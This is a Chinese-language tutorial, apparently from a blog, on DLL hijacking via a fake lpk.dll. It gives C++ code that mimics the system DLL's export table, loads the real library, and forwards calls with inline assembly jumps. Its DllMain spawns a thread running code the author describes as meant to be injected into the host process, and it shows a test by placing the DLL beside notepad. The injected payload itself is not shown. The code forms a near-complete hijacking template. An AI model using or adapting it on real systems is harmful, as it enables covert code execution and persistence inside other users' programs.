DLL劫持技术详解(lpk.dll)

我们要模拟写一个LPK.DLL，它与系统目录下的LPK.DLL导出表相同，并能加载系统目录下的LPK.DLL，并且能将导出表转发到真实的LPK.DLL

1、构造一个与系统目录下LPK.DLL一样的导出表
2、加载系统目录下的LPK.DLL
3、将导出函数转发到系统目录下的LPK.DLL上
4、在初始化函数中加入我们要执行的代码

首先是定义导出函数

[cpp] view plain copy

1. #pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")  
2. #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")  
3. #pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")  
4. #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")  
5. //#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")  
6. #pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")  
7. #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")  
8. #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")  
9. #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")  
10. #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")  
11. #pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")  

LPK.DLL比较特殊，在导入表中有一项不是函数是数据，因此数据这部分要单独处理。核心代码如下：

[cpp] view plain copy

1. EXTERNC void __cdecl AheadLib_LpkEditControl(void);     
2. EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {AheadLib_LpkEditControl};     

LpkEditControl这个数组有14个成员，如上定义即可，后面我们还需要将真正的数据复制过来。
1.加载系统目录下的LPK.DLL。关键： 使用LoadLibrary方式加载系统目录下的LPK.DLL。加载完成后就要实现导出函数的转发了

[cpp] view plain copy

1. inline BOOL WINAPI Load()  
2.     {  
3.         TCHAR tzPath[MAX_PATH];  
4.         TCHAR tzTemp[MAX_PATH * 2];  
5.           
6.         GetSystemDirectory(tzPath, MAX_PATH);  
7.         lstrcat(tzPath, TEXT("\\lpk"));  
8.         m_hModule=LoadLibrary(tzPath);  
9.         if (m_hModule == NULL)  
10.         {  
11.             wsprintf(tzTemp, TEXT("无法加载 %s，程序无法正常运行。"), tzPath);  
12.             MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);  
13.         };  
14.           
15.         return (m_hModule != NULL);   
16.     }  

2. 获得原函数地址

[cpp] view plain copy

1. FARPROC WINAPI GetAddress(PCSTR pszProcName)  
2.     {  
3.         FARPROC fpAddress;  
4.         CHAR szProcName[16];  
5.         TCHAR tzTemp[MAX_PATH];  
6.           
7.         fpAddress = GetProcAddress(m_hModule, pszProcName);  
8.         if (fpAddress == NULL)  
9.         {  
10.             if (HIWORD(pszProcName) == 0)  
11.             {  
12.                 wsprintf(szProcName, "%d", pszProcName);  
13.                 pszProcName = szProcName;  
14.             }  
15.               
16.             wsprintf(tzTemp, TEXT("无法找到函数 %hs，程序无法正常运行。"), pszProcName);  
17.             MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);  
18.             ExitProcess(-2);  
19.         }  
20.         return fpAddress;  
21.     }  

3. 将我们构造的导出函数转发

[cpp] view plain copy

1. // 导出函数  
2. ALCDECL AheadLib_LpkInitialize(void)  
3. {  
4.     GetAddress("LpkInitialize");  
5.     __asm JMP EAX;  
6. }  
7. ALCDECL AheadLib_LpkGetTextExtentExPoint(void)  
8. {  
9.     GetAddress("LpkGetTextExtentExPoint");  
10.     __asm JMP EAX;  
11. }  
12. .......................................太长了，请直接看源码附件  

4.在DLL初始化函数中加载我们要注入远程进程的代码：

[cpp] view plain copy

1. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)  
2. {  
3.     if (dwReason == DLL_PROCESS_ATTACH)  
4.     {  
5.         DisableThreadLibraryCalls(hModule);  
6.         if(Load())  
7.         {  
8.             //LpkEditControl这个数组有14个成员，必须将其复制过来      
9.             memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);     
10.             _beginthread(Init,NULL,NULL);  
11.         }  
12.         else  
13.             return FALSE;  
14.     }  
15.     else if (dwReason == DLL_PROCESS_DETACH)  
16.     {  
17.         Free();  
18.     }  
19.     return TRUE;  
20. }  

5.测试，在Init中加入测试代码，把lpk复制到待测试软件同目录下，比如我们的记事本,notepad

源码下载